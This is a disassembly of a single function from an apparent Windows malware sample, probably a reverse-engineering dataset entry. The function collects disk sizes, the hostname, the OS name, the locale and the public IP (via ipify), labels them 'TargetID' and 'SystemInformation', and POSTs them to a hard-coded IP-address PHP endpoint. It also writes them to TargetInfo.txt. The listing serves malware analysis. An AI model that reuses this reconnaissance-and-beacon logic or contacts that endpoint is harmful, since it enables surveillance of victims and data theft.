Function at 0x140009740
Capabilities:
Get disk information
Get disk size
Get geographical location
Get hostname
Get system information on windows
Query or enumerate registry value
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x870]
sub rsp, 0x970
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rbp + 0x860], rax
xor r15d, r15d
cmp dword [0x140078454], r15d
jne 0x1400097f9
mov qword [rbp + 0x210], r15
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dil, 0x41
mov ebx, r15d
mov esi, eax
nop
test sil, 1
je 0x1400097e4
movzx r9d, dil
lea r8, str._c:_
mov edx, 4
mov dword [rbp - 0x7c], r15d
lea rcx, [rbp - 0x7c]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea r9, [rbp - 0x78]
mov qword [rbp - 0x78], r15
lea r8, [rbp + 0x210]
mov qword [rbp + 0x210], r15
xor edx, edx
lea rcx, [rbp - 0x7c]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov rax, qword [rbp + 0x210]
sub rax, qword [rbp - 0x78]
add rbx, rax
inc dil
shr esi, 1
cmp dil, 0x5a
jle 0x140009790
shr rbx, 0x1e
mov dword [0x140078454], ebx
cmp dword [0x140078470], r15d
mov rdi, 0xffffffffffffffff
jne 0x140009ab4
lea rdx, [rbp - 0x78]
mov dword [0x140078470], 0x200
lea rcx, [rbp + 0x248]
mov dword [rbp - 0x78], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rax, [rbp + 0x210]
mov qword [rbp + 0x210], r15
lea r9d, [rdi + 2]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rsi, r15
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140009922
mov rcx, qword [rbp + 0x210]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x7c]
xor r8d, r8d
mov qword [rsp + 0x20], r15
lea rdx, str.ProductName
mov dword [rbp - 0x7c], r15d
mov dword [rbp - 0x80], r15d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140009915
cmp dword [rbp - 0x7c], 1
jne 0x140009915
mov ecx, dword [rbp - 0x80]
add rcx, 1
cmovb rcx, rdi
call fcn.140034a9c
mov rsi, rax
test rax, rax
je 0x140009915
mov r8d, dword [rbp - 0x80]
xor edx, edx
inc r8
mov rcx, rax
call fcn.140051d20
mov rcx, qword [rbp + 0x210]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.ProductName
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400098fe
cmp dword [rbp - 0x7c], 1
je 0x140009915
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rsi
call fcn.140034a88
jmp 0x140009922
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 4
mov dword [rbp - 0x70], r15d
lea r8, [rbp - 0x70]
mov ecx, 0x400
lea edx, [r9 + 0x56]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xorps xmm0, xmm0
mov dword [rbp - 0x7c], r15d
xor eax, eax
mov qword [rsp + 0x58], r15
lea rdx, str.http:__api.ipify.org
mov dword [rbp + 0x240], eax
lea rcx, [rsp + 0x40]
movups xmmword [rbp + 0x230], xmm0
movdqu xmmword [rsp + 0x40], xmm0
call fcn.140023760
movzx eax, al
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x5c], eax
test al, al
je 0x140009fd4
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x990], r14
mov qword [rsp + 0x28], rax
lea r8, str.Content_Type:_application_x_www_form_urlencoded_r_nHost:_api.ipify.org_r_n
xor r9d, r9d
mov dword [rsp + 0x20], r15d
lea rdx, [0x1400692e0]
call fcn.140023380
mov rbx, rax
test rax, rax
je 0x1400099d5
mov eax, dword [rbp - 0x7c]
cmp eax, 0x11
jae 0x1400099d5
mov r8d, eax
lea rcx, [rbp + 0x230]
mov rdx, rbx
call fcn.1400520e0
jmp 0x1400099e6
movabs rax, 0x6e776f6e6b6e75
mov qword [rbp + 0x230], rax
mov rcx, rbx
call fcn.140034a88
xorps xmm0, xmm0
lea rcx, [rbp - 0x28]
movups xmmword [rbp - 0x28], xmm0
lea r14, [0x1400692e8]
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [rbp - 0x28], 9
lea rbx, [0x1400692ec]
mov r8d, 0x180
lea rcx, [rbp + 0x260]
cmovne rbx, r14
xor edx, edx
call fcn.140051d20
lea rax, [rbp + 0x248]
mov r9, rsi
mov qword [rsp + 0x38], rax
lea r8, str._s__s___s___s___s
lea rax, [rbp + 0x230]
mov edx, 0x180
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x260]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov r9d, 0x2000000
lea r8, [0x140078470]
lea rdx, [0x140078480]
lea rcx, [rbp + 0x260]
call qword [sym.imp.SHLWAPI.dll_UrlEscapeA]
mov r14, qword [rsp + 0x990]
test rsi, rsi
je 0x140009aaa
mov rcx, rsi
call fcn.140034a88
lea rcx, [rsp + 0x40]
call fcn.140023350
xorps xmm0, xmm0
mov qword [rsp + 0x78], r15
lea rdx, str.http:__91.215.85.135_QWEwqdsvsf_ap.php
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140023760
movzx eax, al
mov dword [rsp + 0x7c], eax
test al, al
je 0x140009fcf
xor edx, edx
lea rcx, [rbp + 0x110]
mov r8d, 0xf8
call fcn.140051d20
lea rcx, [rbp + 0x110]
call fcn.14000d050
lea rdx, str.Content_Type:_application_x_www_form_urlencoded_r_nHost:
lea rcx, [rbp + 0x120]
call fcn.14000faf0
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.14000faf0
mov rcx, rax
call fcn.14000fdc0
mov rcx, qword [0x140077410]
xor eax, eax
mov qword [rbp + 0x220], rax
mov word [rbp + 0x228], ax
mov rax, rcx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
test rax, rax
jne 0x140009b78
mov rax, rcx
lea r8, str.0._llu
cqo
and edx, 0xfffff
lea r9, [rdx + rax]
sar r9, 0x14
jmp 0x140009b82
mov r9, rax
lea r8, str._llu
mov edx, 0xa
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, 0xf8
call fcn.140051d20
lea rcx, [rbp + 0x10]
call fcn.14000c1e0
lea rdx, str.user
lea rcx, [rbp + 0x20]
call fcn.140010160
lea rcx, [rbp + 0x20]
call fcn.14000c3b0
lea rdx, str.TargetID
lea rcx, [rbp + 0x20]
call fcn.140010160
mov rcx, rax
lea rdx, [0x1400775c0]
call fcn.140010160
mov rcx, rax
lea rdx, str.SystemInformation
call fcn.140010160
mov rcx, rax
lea rdx, [0x140078480]
call fcn.140010160
mov rcx, rax
lea rdx, str.max_size_of_file
call fcn.140010160
mov rcx, rax
lea rdx, [rbp + 0x220]
call fcn.140010160
mov rcx, rax
lea rdx, str.size_of_hdd
call fcn.140010160
mov edx, dword [0x140078454]
mov rcx, rax
call fcn.14000c510
mov rcx, qword [rbp + 0x98]
xorps xmm0, xmm0
mov eax, ecx
mov qword [rbp - 0x58], r15
and al, 0x22
mov qword [rbp - 0x50], 0xf
movups xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x68], r15b
movups xmmword [rbp + 0x230], xmm0
cmp al, 2
je 0x140009c93
mov rax, qword [rbp + 0x68]
mov rbx, qword [rax]
test rbx, rbx
je 0x140009c93
cmp rbx, qword [rbp + 0x90]
mov rax, qword [rbp + 0x48]
cmovb rbx, qword [rbp + 0x90]
mov r9, qword [rax]
sub rbx, r9
jmp 0x140009cb8
test cl, 4
jne 0x140009ce8
mov rax, qword [rbp + 0x60]
mov rcx, qword [rax]
test rcx, rcx
je 0x140009ce8
mov rax, qword [rbp + 0x40]
mov r9, qword [rax]
mov rax, qword [rbp + 0x78]
movsxd rbx, dword [rax]
sub rbx, r9
add rbx, rcx
mov rax, r9
test rax, rax
je 0x140009ce8
lea rcx, [rbp - 0x68]
cmp rbx, 0xf
ja 0x140009ce0
mov r8, rbx
mov qword [rbp - 0x58], rbx
mov rdx, r9
call fcn.1400520e0
mov byte [rbp + rbx - 0x68], r15b
jmp 0x140009ce8
mov rdx, rbx
call fcn.1400115a0
mov rcx, qword [rbp + 0x198]
xorps xmm0, xmm0
movdqa xmm1, xmmword [0x14006af80]
mov eax, ecx
mov rbx, qword [rbp - 0x58]
and al, 0x22
movups xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x48], r15w
movdqu xmmword [rbp - 0x38], xmm1
movups xmmword [rbp + 0x230], xmm0
cmp al, 2
je 0x140009d4b
mov rax, qword [rbp + 0x168]
mov r8, qword [rax]
test r8, r8
je 0x140009d4b
cmp r8, qword [rbp + 0x190]
mov rax, qword [rbp + 0x148]
cmovb r8, qword [rbp + 0x190]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140009d8f
test cl, 4
jne 0x140009d81
mov rax, qword [rbp + 0x160]
mov rcx, qword [rax]
test rcx, rcx
je 0x140009d81
mov rax, qword [rbp + 0x140]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x178]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
sar r8, 1
jmp 0x140009d8f
mov r8, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x230]
test rdx, rdx
je 0x140009d9d
lea rcx, [rbp - 0x48]
call fcn.14000f6f0
cmp qword [rbp - 0x50], 0xf
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x68]
cmova r9, qword [rbp - 0x68]
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
lea rdx, str.POST
lea rcx, [rsp + 0x60]
mov dword [rbp - 0x78], r15d
cmova r8, qword [rbp - 0x48]
mov dword [rsp + 0x20], ebx
call fcn.140023380
test rax, rax
je 0x140009de8
mov rcx, rax
call fcn.140034a88
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, str.TargetInfo.txt
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, rdi
je 0x140009f21
mov rcx, qword [0x140077410]
xor eax, eax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x218], ax
mov rax, rcx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
test rax, rax
jne 0x140009e6c
mov rax, rcx
lea r8, str.0._d
cqo
and edx, 0xfffff
lea r9, [rdx + rax]
sar r9, 0x14
jmp 0x140009e76
mov r9, rax
lea r8, str._llu
mov edx, 0xa
lea rcx, [rbp + 0x210]
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
xor r9d, r9d
mov dword [rbp - 0x78], 0x200
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x260]
lea rcx, [0x140078480]
call qword [sym.imp.SHLWAPI.dll_UrlUnescapeA]
mov eax, dword [0x140078454]
lea r9, [0x1400775c0]
mov dword [rsp + 0x30], eax
lea r8, str._s_s_s_d
lea rax, [rbp + 0x210]
mov edx, 0x400
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x460]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea rax, [rbp + 0x460]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140009ef3
mov r8, rdi
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x70]
mov rcx, rbx
lea rdx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140009f61
mov rcx, qword [rbp - 0x48]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009f5c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a000
call fcn.14002d030
mov rdx, qword [rbp - 0x50]
movdqa xmm0, xmmword [0x14006af80]
mov word [rbp - 0x48], r15w
movdqu xmmword [rbp - 0x38], xmm0
cmp rdx, 0xf
jbe 0x140009faa
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009fa5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a000
call fcn.14002d030
lea rcx, [rbp + 0x10]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], r15b
call fcn.14000a100
lea rcx, [rbp + 0x110]
call fcn.14000a010
lea rcx, [rsp + 0x60]
call fcn.140023350
mov rcx, qword [rbp + 0x860]
xor rcx, rsp
call fcn.14002cd30
lea r11, [rsp + 0x970]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
call fcn.14003a96c
int3